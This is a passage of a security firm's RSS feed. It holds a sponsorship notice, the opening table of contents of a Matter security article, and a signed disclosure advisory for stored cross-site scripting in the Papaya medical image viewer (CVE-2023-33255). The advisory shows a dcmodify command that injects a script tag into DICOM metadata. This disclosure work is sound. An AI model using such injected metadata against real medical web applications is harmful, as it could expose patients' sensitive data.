(examiners Prof. Dr. Elmar Böhler &amp;amp; Prof. Dr. rer. nat Stefan Frenz).&lt;/p></description></item><item><title>SCHUTZWERK AT BARAL CONNECT 2023</title><link>https://www.schutzwerk.com/en/blog/baral-connect-2023/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 01 Jun 2023 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><description>
&lt;p>On June 15, Baral Connect 2023 takes place in Reutlingen. SCHUTZWERK GmbH is an official sponsor and speaker of the event.&lt;/p>
&lt;p>Visit us at the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://baral-connect-2023-baral.hub.arcgis.com/#konferenz#konferenz"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">&lt;/span>
&lt;/a>&lt;a
href="https://baral-connect-2023-baral.hub.arcgis.com/#konferenz#konferenz"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Baral&lt;/span>
&lt;/a>&lt;a
href="https://baral-connect-2023-baral.hub.arcgis.com/#konferenz#konferenz"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Connect&lt;/span>
&lt;/a>&lt;a
href="https://baral-connect-2023-baral.hub.arcgis.com/#konferenz#konferenz"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2023&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
! The conference addresses the question: How do we want to use and protect geodata to create a livable world of the future?&lt;/p>
&lt;p>SCHUTZWERK contributes two technical talks: At the get-together on June 14, Manuel Stegmiller provides exciting insights into the &amp;ldquo;Variants of Phishing&amp;rdquo;. Using concrete examples, you learn what a phishing attack can look like and what damage can be caused. And Dr. Bastian Könings, with his presentation &amp;ldquo;From Human to Circuit Board - The Broad Spectrum of Penetration Testing in Practice&amp;rdquo;, shows which security vulnerabilities exist and how they are identified. Whether physical attacks on devices or vulnerabilities in communication media - the practical examples vividly convey the impetus that cybersecurity consulting creates for your company.&lt;/p>
&lt;p>At Baral Connect, there will be plenty of opportunities to share knowledge, make new contacts and present innovative ideas. We look forward to seeing you there!&lt;/p></description></item><item><title>Advisory: Cross-Site-Scripting in Papaya Medical Viewer (CVE-2023-33255)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2022-001/</link><author>Lennert Preuth</author><pubDate>Fri, 26 May 2023 10:17:53 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2022-001: Cross-Site-Scripting in Papaya Medical Viewer
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-33255
Link
====
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001.txt
Further SCHUTZWERK advisories:
https://www.schutzwerk.com/blog/tags/advisories/
Affected products/vendor
========================
Papaya, Research Imaging Institute - University of Texas Health Science Center
Summary
=======
User supplied input in the form of DICOM or NIFTI images can be loaded into the
Papaya web application without any kind of sanitization. This allows to inject
arbitrary JavaScript code into the image&amp;#39;s metadata which will in consequence be
executed as soon as the metadata is displayed in the Papaya web application.
Risk
====
The vulnerability allows an attacker to inject arbitrary JavaScript code into
the Papaya web application. A risk calculation highly depends on how the Papaya
software is used as a library in the context of a bigger medical web
application. During the discovery of this vulnerability, the web application
which used Papaya allowed to upload and store corresponding images on the web
server and display them to multiple users. It was therefore possible to store
JavaScript code on the server and attack users to impersonate or steal their
session, leading to a disclosure of sensitive medical data.
Description
===========
A medical web application assessed for security vulnerabilities by SCHUTZWERK
was found to contain a stored cross-site-scripting vulnerability. The
application uses the Papaya JavaScript software[0] published by the Research
Imaging Institute belonging to the University of Texas Health Science Center[1].
The software is described as &amp;#34;[..] a pure JavaScript medical research image
viewer, supporting DICOM and NIFTI formats, compatible across a range of web
browsers [..]&amp;#34;. It can be used stand-alone or integrated into larger medical
applications, has 192 forks and 488 stars on GitHub and was used in at least 50
published academic research papers[2].
One of the main features is to open medical images of multiple formats, which
can be achieved via the context menu &amp;#34;File - Add image...&amp;#34;. Papaya then displays
the image and adds a new icon in the upper right corner of the viewer. This icon
allows to open another context menu to edit the previous opened image as a layer
in multiple ways. The option of interest for the cross-site-scripting
vulnerability is the &amp;#34;Show Header&amp;#34; entry, which allows getting further
information about the medical image.
An example DICOM[3] zip archive was downloaded[4], extracted and opened in
Papaya. The &amp;#34;Show Header&amp;#34; function shows multiple entries including private
patient data fields like patient ID, name, date of birth and gender.
The DICOM ToolKit (DCMTK)[5] offers multiple tools to analyze, create and edit
DICOM images. The metadata field &amp;#34;Manufacturer&amp;#34; of the previously downloaded
DICOM image was edited with help of the DCMTK tool dcmodify:
DICTPATH=/tmp/share/dcmtk/dicom.dic dcmodify -m
&amp;#34;Manufacturer=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;#34; 2_skull_ct/DICOM/I0
The DCMTK tool dcmdump can be used to verify the manipulated metadata entry:
dcmdump 2_skull_ct/DICOM/I0
[..]
# Dicom-Data-Set
[..] (0008,0070) LO [&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;] # 26, 1 Unknown
Tag &amp;amp; Data [..]
Viewing the header information of the manipulated DICOM image in Papaya executes
the injected JavaScript code in the web browser.
SCHUTZWERK decided to publish the still existing vulnerability (commit 4a42701),
since the vendor did not implement any remediation several months after new
contributors have been introduced to the project.
Solution/Mitigation
===================
Several mitigation recommendations have been sent to the vendor. These include
common mitigation strategies from OWASP[6], like escaping user controlled input
and the usage of popular JavaScript libraries like DomPurify[7].
As a quick workaround, the context menu, which allows showing header information
can be disabled by setting the variable kioskMode to true.
Disclosure timeline
===================
2020-08-20: Vulnerability discovered 2020-08-20: Vulnerability reported to
vendor
2020-09-30: Contacted vendor again
2020-09-30: Vendor responds and asks for mitigation ideas
2020-10-01: Response to vendor with detailed information and mitigation ideas
2020-11-09: Contacted vendor again for any status updates
2022-08-30: Retest of the customer application including the Papaya web
application
2022-09-21: Notified vendor of intention to publish advisory
2022-10-18: Vendor notified SCHUTZWERK of new contributors who will maintain the
project
2023-04-19: Informed vendor about publication deadline on May 15, 2023
2023-05-08: Vendor replied with intention to fix vulnerability until May 15,2023
2023-05-15: Vulnerability fixed by vendor
2023-05-26: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth of
SCHUTZWERK GmbH.
References
==========
[0] https://github.com/rii-mango/Papaya
[1] https://rii.uthscsa.edu/
[2] http://mangoviewer.com/pubs.html
[3] https://en.wikipedia.org/wiki/DICOM
[4] https://medimodel.com/sample-dicom-files/human_skull_2_dicom_file/
[5] https://dicom.offis.de/dcmtk.php.de
[6] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_
Prevention_Cheat_Sheet.html
[7] https://github.com/cure53/DOMPurify
Disclaimer
==========
The information in this security advisory is provided &amp;#34;as is&amp;#34; and without
warranty of any kind. Details of this security advisory may be updated in order
to provide as accurate information as possible. The most recent version of this
security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website.
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRwkEgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvCEA//YsP7ZUvk9VLzp49DtsMP
HQF0ojoBmNZOi5fymVDRGScmMT5VLOsdp9EUEywPYxmxo1rPc4vv6gM3hQsQ7TRO
oAb9ZeZjvYy2Nyz6cy3wX4H2naFOHEr085Uwpg9pX5DAHkQVsseTi/n04u5PT5xP
Fnuozie/KOG4pmkkKFHmG6aWgUSXWZuq8japOghl6g35BmG7ntXG2OYsb7f5ITYw
ksRbJt+8wetrBsa/pR6ZfEkoEpyuFZg85EDpDRoBPVlGZtuSF6dh+WfO+9VQBjLE
dZwPRaXefHp/v89rEfWvkX3JGmGWh6P8KQ+puF3GHLcBa8iDIbW/HPfQHGuGhfIa
upZ1E+HtgpxInxelM/BcFKXSjD4AMnAULa2C6nWsdmw8GIKHHus+WQuK1z40R7N4
Vji59buH9SBWAWb7MuyRrdxoZSmAuxcR7lXVzHMxSOZm0W7J0d9luLL8XUn4kj8+
tRE24TgbdGyAYr/V6BO9RiYCtyWPji5VBtwFZLFlvKRo81zyS9nve651nWS7Fv/l
OGns4fGbEZ+sm/YuFdfyzg8TMJ0pqV0AswCnx9mSqWn3RRBHg55pE4i6IyUdofu/
eiaTl33oyGolW7rQ5ATtmsOgKp5jKb7rt3WVSBLn1D9+JJ8MfbDrvyUoTkIZaqEp
4bKAQKWvxQG8GpbKuQT4on0=
=IEuk
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Security Considerations for Matter Developers</title><link>https://www.schutzwerk.com/en/blog/matter-security-considerations/</link><author>Melissa Loos</author><pubDate>Wed, 26 Apr 2023 06:20:40 +0100</pubDate><category>matter</category><category>embedded security</category><category>research</category><description>
&lt;br>
&lt;br>
&lt;p>&lt;strong>Table of Contents&lt;/strong>&lt;/p>
&lt;ol>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#introduction"
class="link-background inline no-spaces"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#problem-statement"
class="link-background inline split"
>
&lt;span class="link-label">Problem&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#problem-statement"
class="link-background inline split"
>
&lt;span class="link-label">Statement&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#background"
class="link-background inline no-spaces"
>
&lt;span class="link-label">Background&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#supported-transports-and-device-types"
class="link-background inline split"
>
&lt;span class="link-label">Supported&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#supported-transports-and-device-types"
class="link-background inline split"
>
&lt;span class="link-label">transports&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#supported-transports-and-device-types"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#supported-transports-and-device-types"
class="link-background inline split"
>
&lt;span class="link-label">device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#supported-transports-and-device-types"
class="link-background inline split"
>
&lt;span class="link-label">types&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#commissioning-and-session-establishments"
class="link-background inline split"
>
&lt;span class="link-label">Commissioning&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#commissioning-and-session-establishments"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#commissioning-and-session-establishments"
class="link-background inline split"
>
&lt;span class="link-label">session&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#commissioning-and-session-establishments"
class="link-background inline split"
>
&lt;span class="link-label">establishments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#the-distributed-compliance-ledger-dcl"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#the-distributed-compliance-ledger-dcl"
class="link-background inline split"
>
&lt;span class="link-label">Distributed&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#the-distributed-compliance-ledger-dcl"
class="link-background inline split"
>
&lt;span class="link-label">Compliance&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#the-distributed-compliance-ledger-dcl"
class="link-background inline split"
>
&lt;span class="link-label">Ledger&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#the-distributed-compliance-ledger-dcl"
class="link-background inline split"
>
&lt;span class="link-label">(DCL)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">Common&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">pitfalls&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">how&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">avoid&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#common-pitfalls-and-how-to-avoid-them"
class="link-background inline split"
>
&lt;span class="link-label">them&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">1:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">Implementing&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">weak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">random&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">number&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-1-implementing-a-weak-random-number-generator"
class="link-background inline split"
>
&lt;span class="link-label">generator&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">2:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">Insufficient&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">protection&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-2-insufficient-protection-of-the-device-passcode"
class="link-background inline split"
>
&lt;span class="link-label">passcode&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">3:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">Insecure&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">implementation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">multi-admin&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">multi-fabrics&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature"
class="link-background inline split"
>
&lt;span class="link-label">feature&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">4:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">Failure&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">achieve&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">unique&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-4-failure-to-achieve-unique-identifiers"
class="link-background inline split"
>
&lt;span class="link-label">identifiers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">5:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">Risking&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">access&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">list&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">wildcards&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">inconsistencies&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-5-risking-access-control-list-wildcards-and-inconsistencies"
class="link-background inline split"
>
&lt;span class="link-label">&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">6:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">Risks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">specific&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">bridges&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">bridged&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-6-risks-specific-to-bridges-and-bridged-devices"
class="link-background inline split"
>
&lt;span class="link-label">devices&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">7:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">Risking&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">privacy&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">by&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">advertising&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">vendor&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">product&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">identifiers&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">via&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">DNS&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">or&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth"
class="link-background inline split"
>
&lt;span class="link-label">Bluetooth&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
